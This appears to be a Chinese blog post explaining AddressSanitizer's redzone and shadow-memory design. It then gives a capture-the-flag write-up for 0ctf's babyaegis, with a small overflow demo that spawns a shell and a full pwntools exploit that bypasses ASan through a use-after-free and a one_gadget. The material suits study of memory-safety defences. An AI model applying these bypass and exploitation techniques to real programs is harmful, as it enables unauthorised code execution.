About AddressSanitizer(ASan)
AddressSanitizer 后文均简称为ASan 是 Google 开源的一个用于进行内存检测的工具,包括但可能不限于 Heap buffer overflow, Stack buffer overflow, Global buffer overflow 等等。
在 wiki 中就举了了四个例子,分别是
- Heap-use-after-free
- Heap-buffer-overflow
- Stack-buffer-overflow
- Global-buffer-overflow
除了学术上的建树,这个工具也曾发现了不少漏洞,如在知名的 j00r 的blog 中提到的
关于 ASan 的核心实现在 wiki 也提到了,在我读了一些 paper 以及在 0ctf babyaegis 这个题目的调试也大概总结了一下:
ASan 算法实现
ASan 由两个主要部分构成,插桩和动态运行库( Run-time library ),插桩主要是针对在llvm编译器级别对访问内存的操作(store,load,alloca等),将它们进行处理。动态运行库主要提供一些运行时的复杂的功能(比如poison/unpoison shadow memory)以及将malloc,free等系统调用函数hook住。其实该算法的思路很简单,如果想防住Buffer Overflow漏洞,只需要在每块内存区域右端(或两端,能防overflow和underflow)加一块区域(RedZone),使RedZone的区域的影子内存(Shadow Memory)设置为不可写即可。
+——————-+
| redzone |
+——————-+
| mem |
+——————-+
| redzone |
+——————-+
| mem |
+——————-+
| redzone |
+——————-+
内存映射
AddressSanitizer保护的主要原理是对程序中的虚拟内存提供粗粒度的影子内存(没8个字节的内存对应一个字节的影子内存),为了减少overhead,就采用了直接内存映射策略,所采用的具体策略如下:Shadow=(Mem >> 3) + offset。每8个字节的内存对应一个字节的影子内存,影子内存中每个字节存取一个数字k,如果k=0,则表示该影子内存对应的8个字节的内存都能访问。
如果k在0到7之间,表示前k个字节可以访问,如果k为负数,不同的数字表示不同的错误(e.g. Stack buffer overflow, Heap buffer overflow)。具体的映射策略如下图所示。
64位
1
| Shadow = (Mem >> 3) + 0x7fff8000;
|
[0x10007fff8000, 0x7fffffffffff] |
HighMem |
[0x02008fff7000, 0x10007fff7fff] |
HighShadow |
[0x00008fff7000, 0x02008fff6fff] |
ShadowGap |
[0x00007fff8000, 0x00008fff6fff] |
LowShadow |
[0x000000000000, 0x00007fff7fff] |
LowMem |
32位
1
| Shadow = (Mem >> 3) + 0x20000000;
|
[0x40000000, 0xffffffff] |
HighMem |
[0x28000000, 0x3fffffff] |
HighShadow |
[0x24000000, 0x27ffffff] |
ShadowGap |
[0x20000000, 0x23ffffff] |
LowShadow |
[0x00000000, 0x1fffffff] |
LowMem |
显而易见的是,ASan 的检查很大一部分是基于影子内存中,此时影子内存的flag值。假设如果全段影子内存的 flag 全为0,我们就可以完全无视掉ASan,而0ctf 的 babyaegis,正是给了一个写0的机会,给了我们一次对一个指针再次读写的机会。
此外还有几种方法,比如
Adjacent Buffers in the Same Struct/Class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| $ cat test1.c #include <stdio.h> #include <stdlib.h> class Test{ public: Test(){ command[0] = 'l'; command[1] = 's'; command[2] = '\0'; } void a(){ scanf("%s", buffer); system(command); } private: char buffer[10]; char command[10]; }; int main(){ Test aTest = Test(); aTest.a(); }
|
1 2 3 4 5 6 7 8 9 10
| $ g++ -O -g -fsanitize=address test1.c clang: warning: treating 'c' input as 'c++' when in C++ mode, this behavior is deprecated [-Wdeprecated]
$ ./a.out aaaaaaaaaa/bin/sh; sh-3.2$ id uid=501(swing) gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh-disabled) sh-3.2$
|
剩下见 PDF:
题目分析
1 2 3 4 5 6 7 8 9 10
| root@linuxkit-025000000001 /pwn [*] '/pwn/aegis' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled ASAN: Enabled UBSAN: Enabled
|
开了 ASan
影子内存位置: mem >> 3) + 0x7FFF8000LL
漏洞点
在update中:
在delete中
存在uaf
此外,存在一个后门函数为:secret函数
思路
可以先置checker为0使得我们可以进行一个堆溢出改size值为0,接下来在做一次更改,这次可以溢出更多,改size为更大的值。然后rm了这个堆块再malloc出来就可以造成一个uaf的效果。接着利用uaf的指针泄漏各种program base 和libc base什么的东西。然后利用指针去改写bss段上的值导致__sanitizer::Die()函数内部call rax 调用我们想调用的函数。这里本来是想调用onegadget,但是不明确也没深究为什么onegadget没起作用。之后此处改写为gets控制程序流然后构成栈溢出覆盖ret为onegadget接着就getshell了
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| from pwn import *
debug=1
context.terminal = ['notiterm', '-t', 'iterm','-e']
if debug: p = process('./aegis') else: p=remote('111.186.63.209',6666)
def get(x): return p.recvuntil(x) def pu(x): p.send(x)
def pu_enter(x): p.sendline(x)
def add(sz,content,id): pu_enter('1') get('Size') pu_enter(str(sz)) get('Content') pu(content) get('ID') pu_enter(str(id)) get('Choice: ')
def show(idx): pu_enter('2') get('Index') pu_enter(str(idx))
def update(idx,content,id): pu_enter('3') get('Index') pu_enter(str(idx)) get('Content: ') pu(content) get('New ID:') pu_enter(str(id)) get('Choice:' )
def delete(idx): pu_enter('4') get('Index') pu_enter(str(idx)) get('Choice:')
def secret(addr): pu_enter('666') get('Lucky Number: ') pu_enter(str(addr)) get('Choice:')
add(0x10,'a'*8,0x123456789abcdef) for i in range(4): add(0x10,'b'*0x8,123)
secret(0xc047fff8008-4) update(0,'\x02'*0x12,0x123456789) update(0,'\x02'*0x10+p64(0x02ffffff00000002)[:7],0x01f000ff1002ff) delete(0)
add(0x10,p64(0x602000000018),0)
show(0)
get('Content: ') addr = u64(get('\n')[:-1]+'\x00\x00') print addr pbase = addr -0x114AB0 get('Choice: ')
update(5,p64(pbase+0x347DF0)[:2],(pbase+0x347DF0)>>8) show(0)
get('Content: ') addr = u64(get('\n')[:-1]+'\x00\x00') base = addr -0xE4FA0 get('Choice: ')
update(5,p64(pbase+0x0FB08A0),p64(pbase+0x7AE140))
raw_input("aa") pu_enter('3') get('Index') pu_enter('0') get('Content')
pu(p64(base+524464)[:7])
raw_input("#get"+str(hex(pbase+0x7AE140))) payload = 'a'*471+p64(base+0x4f322)+'\x00'*0x100
pu_enter(payload)
p.interactive()
|
github-AddressSanitizer
AddressSanitizer: A Fast Address Sanity Checker
AddressSanitizer算法及源码解析
Bypassing AddressSanitizer
文章来源: https://bestwing.me/ASan-and-ASan-in-CTF(0ctf-babyaegis).html
如有侵权请联系:admin#unsafe.sh